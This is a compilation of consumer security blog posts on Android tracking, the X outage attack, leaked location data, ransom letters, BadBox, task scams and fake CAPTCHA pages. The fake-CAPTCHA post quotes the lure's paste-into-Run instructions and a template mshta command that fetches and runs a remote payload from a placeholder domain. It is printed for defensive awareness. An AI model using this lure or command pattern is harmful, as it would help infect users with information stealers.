Google spies on Android device users, starting from even before they have logged in to their Google account.

Google is spying on Android users, starting from even before they have logged in to their Google account.

That’s what researchers from Dublin’s Trinity College found after they conducted a measurement study to investigate the cookies, identifiers and other data stored on Android devices by Google Play Services.

As the company behind the Android Operating System (OS), the Google Play Store, the most popular search engine in the world, and part of the leading company in digital advertising (Alphabet), Google has obtained a position where it would be hard not to profit from.

However, the ways in which Google uses all of these market shares should not be at the expense of the users and their privacy. So, what the researchers found might be worse than you expected. Or not.

The researchers found that multiple identifiers are used to track the user of an Android handset, even before they have opened a Google app or signed in to their Google account. Pre-installed apps like the Google Play Services and Google Play Store send cookies, identifiers and other data to Google servers.

Without user consent, the researchers flagged at least five types of identifiers:

*   Advertising analytics cookies
*   Tracking cookies
*   The Google Android ID
*   Analytics cookies used for A/B testing
*   Multiple other cookies and identifiers which can uniquely identify the handset

Since there is no ask for consent, there is no way to opt-out. Ironically, Google explains one of the advertising analytics cookies, the DSID cookie, as “used to identify a signed-in user on non-Google sites so that the user’s ads personalization setting is respected accordingly.” So, Google uses an unannounced cookie to make sure advertisers are able to respect your settings. Ever considered not telling them who I am?

The researchers found little hope for a user who wants to get around this:

> “Users currently have little control over the data that apps store on an Android handset. It is possible to use the Settings app to clear the data stored by an app. This deletes all the data in the app’s data folder, and is akin to re-installing the app. There is no ability to selectively delete cookies etc, unlike within a web browser, and no ability to prevent their storage in the first place.”

The Google Android ID requires some explanation as well. This unique identifier is used in traffic between the device and Google Play Services and Google Play Store. This ID is created immediately after the first connection is made to the device by Google Play Services. Once a user logs in to their Google account, the account and the Google Android ID are linked together, which likely qualifies it as personally identifiable information (PII). The ID is persistent to the extent that logging out of the Google account does not remove it. The only way to remove it, and its data, is to factory-reset the device.

When asked for a response, a Google spokesperson told The Register:

> “This report identifies a number of Google technologies and tools that underpin how we bring helpful products and services to our users.”

Personally, I feel Google could do better by informing users about its tracking methods, as well as ask for consent. But as we pointed out when we looked at the recent new Android System SafetyCore app, Google has no qualms installing secret services for “our own good.”

Perhaps it would be better for Google to let us know what it’s doing, and we’ll decide whether we want that or not.

**We don’t just report on threats – we help safeguard your entire digital identity**

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

 Android devices track you before you even sign in 

In the early morning hours of March 10, thousands of users on X (formerly Twitter) began having trouble logging into the...

In the early morning hours of March 10, thousands of users on X (formerly Twitter) began having trouble logging into the platform.

It was only the first service blip of at least three to come that same day and, if one cybercriminal group is to be believed, it was all on purpose.

“Twitter has been taken offline by Dark Storm Team” read one message on the messaging and social media platform Telegram.

Dark Storm Team, which shared the message publicly, was reportedly created in 2023 and has a history of launching attacks that can disrupt websites by sending massive traffic their way. These attacks, called “Distributed Denial of Service” or DDoS, attacks, are one of the most common form of cyberattacks online, and have been used to disrupt major companies’ online services.

In responding to the outages, X owner Elon Musk wrote:

“There was (still is) a massive cyberattack against 𝕏. We get attacked every day, but this was done with a lot of resources. Either a large, coordinated group and/or a country is involved.”

For much of Monday, users could not load the X mobile app, the X website, or log into the services from their phones or laptops. The outages were recorded on the website Downdetector, which tracks user reports whenever popular websites have trouble loading or operating normally. According to Downdetector’s most recent data, X suffered problems between 2:30 and 3:00 am, Pacific Time, and again between 6:30 and 7:30 am, and then once more, for a more sustained but irregular period, between 8:00 and 11:00 am.

Downdetector’s X reports as of 2:56 pm Pacific Time

In response to the outages, X has rolled out the services of the company Cloudflare, which specifically provides protection from DDoS attacks. When X users try to reach certain parts of the website, or they arrive to the site from a potentially suspicious IP address, they are now prompted to fill out a form to prove they are a human user.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 X users report login troubles as Dark Storm claims cyberattack 

This week on the Lock and Code podcast, we speak with Tim Shott about his attempt to find his location data following a major data breach.

_This week on the Lock and Code podcast…_

Something’s not right in the world of location data.

In January, a location data broker named Gravy Analytics was hacked, with the alleged cybercriminal behind the attack posting an enormous amount of data online as proof. Though relatively unknown to most of the public, Gravy Analytics is big in the world of location data collection, and, according to an enforcement action from the US Federal Trade Commission last year, the company claimed to “collect, process, and curate more than 17 billion signals from around a billion mobile devices daily.”

Those many billions of signals, because of the hack, were now on display for security researchers, journalists, and curious onlookers to peruse, and when they did, they found something interesting. Listed amongst the breached location data were occasional references to thousands of popular mobile apps, including Tinder, Grindr, Candy Crush, My Fitness Pal, Tumblr, and more.

The implication, though unproven, was obvious: The mobile apps were named with specific lines of breached data because those apps were the _source_ of that breached data. And, considering how readily location data is traded directly from mobile apps to data brokers to advertisers, this wasn’t too unusual a suggestion.

Today, nearly every free mobile app makes money through ads. But ad purchasing and selling online is far more sophisticated than it used to be for newspapers and television programs. While companies still want to place their ads in front of demographics they believe will have the highest chance of making a purchase—think wealth planning ads inside the Wall Street Journal or toy commercials during cartoons—most of the process now happens through pieces of software that can place bids at data “auctions.” In short, mobile apps sometimes collect data about their users, including their location, device type, and even battery level. The apps then bring that data to an advertising auction, and separate companies “bid” on the ability to send their ads to, say, iPhone users in a certain time zone or Android users who speak a certain language.

This process happens every single day, countless times every hour, but in the case of the Gravy Analytics breach, some of the apps referenced in the data expressed that, one, they’d never heard of Gravy Analytics, and two, no advertiser had the right to collect their users’ location data.

In speaking to 404 Media, a representative from Tinder said:

“We have no relationship with Gravy Analytics and have no evidence that this data was obtained from the Tinder app.”

A representative for Grindr echoed the sentiment:

“Grindr has never worked with or provided data to Gravy Analytics. We do not share data with data aggregators or brokers and have not shared geolocation with ad partners for many years.”

And a representative for a Muslim prayer app, Muslim Pro, said much of the same:

“Yes, we display ads through several ad networks to support the free version of the app. However, as mentioned above, we do not authorize these networks to collect location data of our users.”

What all of this suggested was that some _other_ mechanism was allowing for users of these apps to have their locations leaked and collected online.

And to try to prove that, one independent researcher conducted an experiment: Could he find himself in his own potentially leaked data?

Today, on the Lock and Code podcast with host David Ruiz, we speak with independent research Tim Shott about his investigation into leaked location data. In his experiment, Shott installed two mobile games that were referenced in the breach, an old game called Stack, and a more current game called Subway Surfers. These games had no reason to know his location, and yet, within seconds, he was able to see more than a thousand requests for data that included his latitude, his longitude, and, as we’ll learn, a whole lot more.

> “ I was surprised looking at all of those requests. Maybe 10 percent of \[them had\] familiar names of companies, of websites, which my data is being sent to… I think this market works the way that the less you know about it, the better from their perspective.”

Tune in today to listen to the full conversation.

_how notes and credits:_

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “Good God” by Wowa (unminus.com)

**Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.**

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium for Lock and Code listeners.

 How ads weirdly know your screen brightness, headphone jack use, and location, with Tim Shott (Lock and Code S06E05) 

An increasing number of websites use a clipboard hijacker and instruct victims on how to infect their own machine.

There are more and more sites that use a clipboard hijacker and instruct victims on how to infect their own machine.

I realize that may sound like something trivial to steer clear from, but apparently it’s not because the social engineering behind it is pretty sophisticated.

At first, these attacks were more targeted at people that could provide cybercriminals a foothold at a targeted company, but their popularity has grown so much that now anyone can run into one of them.

It usually starts on a website that promises visitors some kind of popular content: Movies, music, pictures, news articles, you name it.

Nobody will think twice when they are asked to prove they are not a robot.

But the next step in this method isn’t what you would normally see. If you use the checkbox, you’ll be forwarded to something that looks like this:

> “To better prove you are not a robot, please:
> 
> 1.  Press & hold the Windows Key + R.
> 2.  In the verification windows, press Ctrl + V.
> 3.  Press Enter on your keyboard to finish.  
>     
> 
> You will observe and agree:  
> “I’m not a robot – reCAPTCHA Verification ID: 8253”
> 
> Perform the steps above to finish verification.”

While these instructions may seem harmless enough, if you follow the steps you will actually be infecting yourself with malware—most likely an information stealer. In the background, the website you visited copied a command to your clipboard. In Chromium based browsers (which are almost all the popular ones) a website can only write to your clipboard with your permission. But Windows was under the assumption that you agreed to that when you checked the checkbox in the first screen.

What the obstructions in the prompt are telling you to do is:

1.  Open the Run dialog box on Windows.
2.  Paste the content of your clipboard into that dialog box.
3.  Execute the command you just pasted.

They are not lying about what you will “observe”, but what they don’t tell you is that that’s only the last part of what you pasted, and what you are seeing is not really part of the command but just a comment added behind it.

But under normal circumstances, this is what will be visible.

You’ll only see the last part of the pasted content

The first part of what the target was instructed to paste are variations–sometimes obfuscated—of:

    mshta https://{malicious.domain}/media.file

Mshta is a command that will trigger the legitimate Windows executable mshta.exe. But mshta will fetch the malicious media file from the specified domain and run it. The name of the media file may look perfectly fine. We have seen mp3, mp4, jpg, jpeg, swf, html, and there will be other possibilities.

What the files are in reality is an encoded Powershell command which will run invisibly and download the actual payload. For a while, the malware we were seeing downloaded was almost exclusively the Lumma Stealer infostealer, but recently we’ve also found campaigns that use the same method to spread the SecTopRAT. Both of these are designed to steal sensitive data from your machine.

**How to stay safe**

There are a few things you can do to protect yourself from falling victim to these and similar methods:

*   Do not follow instructions provided by some website you visited without thinking it through.
*   Use an active anti-malware solution that blocks malicious websites and scripts.
*   Use a browser extension that blocks malicious domains and scams.
*   Disable JavaScript in your browser before visiting unknown websites.

The clipboard access is triggered by a JavaScript function document.execCommand(‘copy’).  Disabling JavaScript will stop that from happening, but it has the disadvantage that it will break many websites that you visit regularly. What I do is use different browsers for different purposes.

Here are step-by-step instructions on how to disable JavaScript in several popular browsers:

**How to disable JavaScript in **Chrome****

*   Open Chrome and click on the three-dot menu icon in the top right corner.
*   Select **Settings** from the dropdown menu.
*   On the left side, click on **Privacy and security**.
*   Click on **Site setting**s.
*   Scroll down to the **Content** section and click on **JavaScript**.

Toggle the switch to **Don’t allow sites to use JavaScript** to **Disable JavaScript for all sites**. You can also add specific sites to block or allow JavaScript by clicking on **Add** under the **Block or Allow** sections.

**How to disable JavaScript in Firefox**

*   Open Firefox and click on the menu button (three horizontal lines) in the top right corner.
*   Select **Settings** from the dropdown menu.
*   Scroll to the **Privacy & Security** panel on the left side.
*   Find the **Permissions** section and locate the JavaScript setting.
*   Uncheck the box next to **Enable JavaScript** to disable JavaScript.
*   Restart Firefox if necessary for the changes to take effect.

**How to disable JavaScript in Opera**

*   Launch Opera and click on the settings icon.
*   Select **Privacy & Security** from the options.
*   Click on **Site Settings**.
*   Select the **JavaScript** option.
*   Choose **Don’t allow sites to use JavaScript** to disable JavaScript for all sites.

To disable JavaScript for specific sites, click **Add** under the **Not allowed to use JavaScript** section and enter the site’s URL.

**How to disable JavaScript in Edge**

*   Open Microsoft Edge and click on the three-dot menu icon in the top right corner.
*   Select **Settings** from the dropdown menu.
*   In the left sidebar, click on **Cookies** and **Site Permissions**.
*   Scroll down to the **All Permissions** section and select JavaScript.

Toggle the switch to disable JavaScript. You can also manage JavaScript settings for individual sites by adding them to the allow or block lists.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Fake CAPTCHA websites hijack your clipboard to install information stealers 

A list of topics we covered in the week of March 3 to March 9 of 2025

March 10, 2025 - Malwarebytes Premium Security has once again been awarded “Product of the Year” after successfully blocking 100% of “in-the-wild” malware samples.

March 7, 2025 - Reddit administratrion announced that the platformwill start sending warnings to users that upvote violent content.

March 6, 2025 - CEOs and business owners received personal, customized ransomware threats in a series of letters sent in the mail through USPS.

March 6, 2025 - Removing 24 malicious apps from the Google Play store and silencing some servers has almost halved the BadBox botnet.

March 5, 2025 - Task scams are increasing in volume. We followed up on an invitation by a task scammer to get a first hand look on how they work.

 A week in security (March 3 &#8211; March 9) 

Malwarebytes Premium Security has once again been awarded “Product of the Year” after successfully blocking 100% of “in-the-wild” malware samples.

Malwarebytes Premium Security has once again been awarded “Product of the Year” after successfully blocking 100% of “in-the-wild” malware samples. The samples were deployed in multiple, consecutive third-party tests conducted by the AVLab Cybersecurity Foundation. 

AVLab commended Malwarebytes for “providing effective detection and removal of many types of malware, including recovery from cyberattacks”. 

The recognition cements Malwarebytes Premium Security’s perfect record of repeatable, trusted, and proven protection for users. It also comes with an additional AVLab certification for “Top Remediation Time”.

The latest results are part of AVLab’s regular “Advanced In-The-Wild Malware Test”.

In 2024, AVLab tested 3,103 unique malware samples against 14 cybersecurity products. Malwarebytes Premium Security detected 3,103 out of 3,103 malware samples, with a remediation time of 17.1 seconds—almost 26 seconds faster than the industry average. 

ThreatDown, powered by Malwarebytes, also participated in AVLab’s evaluation, where it similarly blocked 100% of malware samples with a remediation time of 13.7 seconds. 

AVLab’s evaluations, which are performed every other month by a team of cybersecurity and information security experts, are constructed to test and compare cybersecurity vendors against the latest malware. To ensure the evaluations reflect current cyberthreats, each round of testing follows three steps: 

1.  **Collecting and verifying in-the-wild malware**: AVLab regularly collects malware samples from malicious and active URLs, testing the malware samples to understand their impact to networks and endpoints. 

2.  **Simulating a real-world scenario in testing**: To recreate how a real-life cyberattack would occur, AVLab uses the Firefox web browser to engage with the known, malicious URLs collected in the step prior. In the most recent test, AVLab emphasized the potential for these URLs to be sent over instant messaging platforms, including Discord and Telegram. 

3.  **Incident recovery time assessment**: With the various cybersecurity products installed, AVLab measures whether the evaluated product detects a malware sample, when it detects a sample, and how long it took to detect that sample. The last metric is referred to as “Remediation Time.” 

Malwarebytes is proud to receive “Product of the Year” and “Top Remediation Time” from AVLab, and is thankful to the third-party tester for its important work in the industry.

 Malwarebytes Premium Security awarded “Product of the Year” from AVLab 

Reddit administratrion announced that the platformwill start sending warnings to users that upvote violent content.

In a post on r/RedditSafety by a Reddit administrator, the platform announced that it will start sending warnings to users that upvote violent content.

Reddit is a social media platform and online forum where users can share and discuss content across a wide range of topics. The platform’s structure divides it into communities known as “subreddits,” each focused on a specific subject or interest (from cars to movies to sports to knitting). Users can submit posts, which can be links, text, images, or videos, and other users can vote on these posts using “upvotes” or “downvotes.” The voting system determines the visibility of posts, with highly upvoted content appearing at the top of subreddits and potentially reaching the site’s front page.

For now, the new enforcement action will be limited to users that regularly upvote violent content and the repercussions will be limited to a warning, but it’s not unthinkable that the platform may decide firmer measures are necessary, and the scope of the warnings may also be widened to other bad or violating content.

Some subreddits have additional rules about which content is allowed, but this new policy is a global one. In the discussion following the announcement, the administration promised to check whether a user upvoted an edited post, to avoid sending a warning to users that did not see the offending content when they cast their vote.

Before this new enforcement action, Reddit already acted based on rules against violent content, which prohibit content that encourages, glorifies, incites, or calls for violence or physical harm against individuals or groups. But the actions only affected the actual posters and not the users engaging with the content.

But as Reddit points out, the culture of a community is not just the posts themselves, but also the interaction that the posts initiate.

> “Voting comes with responsibility. This will have no impact on the vast majority of users as most already downvote or report abusive content. It is everyone’s collective responsibility to ensure that our ecosystem is healthy and that there is no tolerance for abuse on the site.”

Given the recently announced investigation by the UK’s Information Commissioner’s Office (ICO) focusing on the content that platforms like TikTok, Imgur, and Reddit show to young users, this is likely an initiative to improve the quality of the promoted content.

There are a lot of questions about this new enforcement action and how it will be implemented, and it will probably take a while before everyone is comfortable with what will be allowed or not. But if the end-result is a platform with less offensive content, then that’s a good thing.

**We don’t just report on threats – we help protect your social media**

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Malwarebytes Identity Theft Protection.

 Reddit will start warning users that upvote violent content 

CEOs and business owners received personal, customized ransomware threats in a series of letters sent in the mail through USPS.

Business owners and CEOs across the United States received customized ransomware threats this month from the most unusual of places—letters in the mail.

The letters, which were first reported by multiple cybersecurity researchers, claim to come from a ransomware group called BianLian. But since Malwarebytes first started tracking BianLian nearly one year ago, our intelligence analysts have never seen the cybercriminal gang resort to sending physical letters to make their ransom demands, suggesting that the latest snail mail campaign could be the work of copycats.

The threat, however, is still quite real, especially for small business owners who rely either on themselves or contracted IT services to investigate any technical problems.

According to multiple examples discovered by researchers, the letters in this likely hollow threat were sent through the US Postal Service. The envelopes containing the letters are stamped with the words “TIME SENSITIVE READ IMMEDIATELY” and have the following return address listed:

> BianLian Group  
> 24 Federal St, Suite 100  
> Boston, MA, 02110

The letters themselves lobby a variety of urgent threats to their recipients: Their corporate network has been compromised, sensitive customer and employee data has been stolen, and there is immediately a 10-day deadline to pay a cryptocurrency ransom before the cybercriminals leak the stolen data online.

These threats are standard for ransomware groups today, especially those that have pivoted to not only encrypting a company’s data, but stealing it in the process of an attack to use as further leverage to extort a ransom payment. In fact last year, Malwarebytes wrote about BianLian abusing a common Microsoft tool to avoid cybersecurity detection while storing massive quantities of stolen data from victims.

But the similarities between the threats included in the letter and the recorded actions of BianLian end there. The letter senders claim that they “no longer negotiate with victims,” which is a rarity from ransomware gangs. In fact, the practice is so normalized that a cottage industry of ransomware “negotiators” has popped up to help victims caught in an attack. The letters themselves, researchers said, also include few grammatical errors and better sentence structure than a typical BianLian ransomware note.

One of the letters, in full, begins:

> Dear \[REDACTED\]
> 
> I regret to inform you that we have gained access to \[REDACTED\] systems and over the past several weeks have exported thousands of data files, including customer order and contact information, employee information with IDs, SSNs, payroll reports, and other sensitive HR documents, company financial documents, legal documents, investor and shareholder information, invoices, and tax documents.

Interestingly, researchers noticed that some of the letters were customized based on their recipient. If a letter was sent to a healthcare CEO, for instance, the letter warned about the theft of patient data; if the letter was sent to a CEO of a product maker, the letter warned about breached customer orders and employee data.

The amounts demanded by the letters varied reportedly from $250,000 to $350,000.

While a “physical” cyberthreat may sound silly, these letters could cause significant harm to small and growing businesses.

These personalized letters convincingly threaten network compromise, password abuse, employee exploitation, and data theft, which can be difficult to verify for any lean organization. Think about it this way: If an everyday person would struggle to check whether their home router had been compromised, many small business owners would struggle to do the same regarding their corporate infrastructure, and that’s through no fault of their own.

If you receive one of these letters in the mail, notify your IT or security team immediately. They can provide the investigation necessary to verify the security of your business.

Whether you have dedicated IT staff or not, you can protect your small business with Malwarebytes Teams, which prevents malware attacks and notifies you about suspicious activity on your network.

 Ransomware threat mailed in letters to business owners 

Removing 24 malicious apps from the Google Play store and silencing some servers has almost halved the BadBox botnet.

Removing 24 malicious apps from the Google Play store and silencing some servers almost halved a botnet known as BadBox.

The BadBox botnet focuses on Android devices, but not just phones. It also affects other devices like TV streaming boxes, tablets, and smart TVs.

The German BSI (Federal Office for Information Security) started the disruption campaign in December by blocking the malware on 30,000 devices. BadBox is referred to as a botnet, because one of its capabilities is to set up the affected device to act as a proxy, allowing other people to use the device’s internet bandwidth and hardware to route their own traffic.

This traffic can for example serve in DDoS attacks or as a platform to spread fake news and disinformation. But BadBox can also steal two-factor authentication (2FA) codes, install further malware, and perform ad fraud.

Unfortunately, the 30,000 devices cut off by the BSI were only the tip of the iceberg. Estimates say there may be as many as one million affected devices. These devices have not necessarily been infected by installing malicious apps. It’s been suggested that Chinese manufacturers hide firmware backdoors in their devices, BadBox being one of them.

The BSI said it found:

> “The BadBox malware was already installed on the respective devices when they were purchased.”

According to Satori Threat Intelligence researchers:

> “Devices connected to the BADBOX 2.0 operation included lower-price-point, “off brand”, uncertified tablets, connected TV (CTV) boxes, digital projectors, and more. The infected devices are Android Open Source Project devices, not Android TV OS devices or Play Protect certified Android devices.”

Off brand devices are devices which do not carry any specific brand name that you might recognize. They are often cheap and made by small manufacturers.

Following the botnet’s development after the German disruption, the researchers found new Command and Control (C2) servers which hosted a list of APKs targeting Android Open Source Project devices similar to those impacted by BadBox.

As part of the disruptions, the servers that were controlling the botnet have been sinkholed, which basically means that the traffic between those servers and the botnet clients gets redirected so it will no longer arrive at the intended destination.

**How to stay safe**

This disruption will likely not be the end of the story. The botnet operators will adapt again and rebuild their infrastructure. Given their supply chain of compromised devices the botnet will resurface soon enough.

So here are a few things you can do:

*   Check you don’t have the apps ‘Earn Extra Income’ and ‘Pregnancy Ovulation Calculator’, which had over 50,000 downloads each. You can recognize the malicious apps from the publisher name Seekiny Studio. If you find them on your device, remove them immediately.
*   Protect your Android devices with an active security solution that can remove malicious apps and block malicious traffic.
*   Google Play Protect automatically warns users and blocks apps known to exhibit BadBox 2.0-associated behavior at install time on Play Protect certified Android devices with Google Play Services. If a device isn’t Play Protect certified, carefully study its origin before purchasing it.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 Android botnet BadBox largely disrupted 

Task scams are increasing in volume. We followed up on an invitation by a task scammer to get a first hand look on how they work.

Tasks scam are surging, with a year over year increase of 400%. So I guess it should have been no surprise when I was contacted by a task scammer on X recently.

Task scammers prey on people looking for remote jobs by offering them simple repetitive tasks such as liking videos, optimizing apps, boosting product interest, or rating product images. These tasks are usually gamified—organized in sets of 40 tasks that will take the victim to a “next level” once they are completed. Sometimes the victim will be given a so-called double task that earns a bigger commission.

The scammers make the victim think they are earning money to raise trust in the system. But, at some point, the scammers will tell the victims they have to make a deposit to get the next set of tasks or get their earnings out of the app. Victims are likely to make that deposit, or all their work will have been for nothing.

So when the task scammer contacted me on X to offer me a nice freelance job, I was keen to see where it would take me.

Beginning the message with emojis, Birdie started the chat…

Group invitation on X

> “\[emoji intro\] Hello, I am a third-party agency from the UK, specializing in providing ranking and likes services for Booking+Airbnb hotel applications. The company is now recruiting freelancers worldwide. You only need a mobile phone to easily get it done, and the time and location are flexible. The daily salary is 100-300€, and the monthly salary of formal employees is 3000-10000€. Note (this article is not suitable for students under 22 years old, and African and Indian employees cannot be hired due to remittance issues) For more details please see the WhatsaPP link: \[shortened bit.ly URL\]”

In this case, I was asked to contact the scammer on WhatsApp, but I’ve also seen the same campaign asking the victims to reach out on Telegram.

Invitation to a Telegram conversation

The Telegram invitation was a bit more limited (European and American female users only) but extended to a larger group of 150 accounts on X. What the ones that reached out to me had in common was that they all found my profile on X. Mind you, my profile is not some honeytrap, it clearly says I blog for Malwarebytes.

So, last week I was up for some distraction and decided to follow up on the WhatsApp invitation which was still live. I reset an old phone to factory settings and bought a burner SIM card. With that phone in hand, I set up a Gmail account and installed WhatsApp. I added Birdie Steuber to my contacts with the phone number I found by following the URL. Then I reached out asking if they still had openings.

The bait was taken within minutes: hook, line, and sinker.

introductions

So, Birdie is actually Tina from Sheffield in the UK. The job is available and does not require any special skills or experience. Tina tells me all you need is internet access and you can start working for booking.com.

Next is a long-winded explanation of what the job entails with another mention of the fortune you can make. I suspect the explanation is meant to be slightly confusing, knowing the general population would be embarrassed to ask for a better explanation and just will go ahead and carry out the tasks.

explanation?

More explanations about the job are followed by a quick query whether I will be able to buy USDT, the “hottest cryptocurrency in the world” as Tina described it. (It isn’t.)

USDT required

Tina then asks me to create an account on a fake booking.com website.

create an account on a fake booking(dot)com site

Here’s that site.

the fake booking site

Once I’d set that up, Tina set me up with a training account to learn the tasks. The actual tasks consist of clicking two buttons labelled “Start task” and “Submit” which gets mind-numbing really quick. But, hey, I was wasting a scammers’ time, so it was worth it.

That training account had a balance of over 1,000 USDT, probably to make the victim even more interested.

balance training account

What happened next is likely a demonstration of another tactic the scammers will use to get people to deposit more USDT: A lucky order!

lucky order

I was shown a prompt that I had run into “a 4% lucky order”, which Tina called a merge task that rendered a 4% commission.

Next followed an elaborate explanation on how Tina had to top up the balance to make up for the negative “Pending Amount” and asked me to contact customer support for instructions.

negative pending amount needs to be topped up

But to my surprise this was not what I was asked to do the next day when we continued our conversation. However, Tina quickly revealed how they were expecting to get 100 USDT from me.

> “I forgot to tell you, it takes 100usdt to complete a new round of 40/40 orders to reset 40 new orders. Because 100usdt is to optimize the hotel 100usd reservation fee. Once you complete the 40/40 order task you can withdraw all funds. This is to help the hotel increase the number of real bookings and exposure to earn commission income. The commission income per order is 0.5 per cent. 100usdt will probably get 40-60usdt after completing the 40/40 order task.”

After I completed my first 40 tasks, I was shown this notification letting me know I had reached the maximum number of tasks for the day, at which point I was expected to top op my account at my own expense.

Please contact customer service to recharge and refresh the task

Once I convinced Tina we had purchased 100 USDT, I was told to contact customer support for instructions.

The instructions were similar to the ones I received a day earlier. But at this point I had to terminate because I didn’t want to give the scammers any actual money.

Checking the balance on the account numbers they provided me with during our conversation showed there are likely others who are handing over money. And they very well may have many more accounts.

balance in the USDT accounts belonging to the scammers

These scams are likely designed to be confusing. The actual tasks were nowhere near as difficult as the explanation of what the job entailed.

In the end I revealed to Tina that I was the one that wrote an article about task scams, but Tina did not give up that easily. She kept trying to convince me there was money to be made.

If you’d like to read the whole conversation I had with Tina you can find it here.

****How to avoid task scams****

As I pointed out, all the task scam invitations I received came to me in the form of Message requests on X. So, that’s a good place to be very cautious. Once you know the red flags, it is easier to avoid falling for task scams.

*   Do not respond to unsolicited job offers via text messages or messaging apps
*   Never pay to get paid
*   Verify the legitimacy of the employer through official channels
*   Don’t trust anyone who offers to pay you for something illegal such as rating or liking things online

It’s also important to keep in mind that legitimate employers do not ask employees to pay for the opportunity to work. And as with most scams, if it sound to good to be true, it probably is.

If you run into a task scam, please report them to the FTC at ReportFraud.ftc.gov. 

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.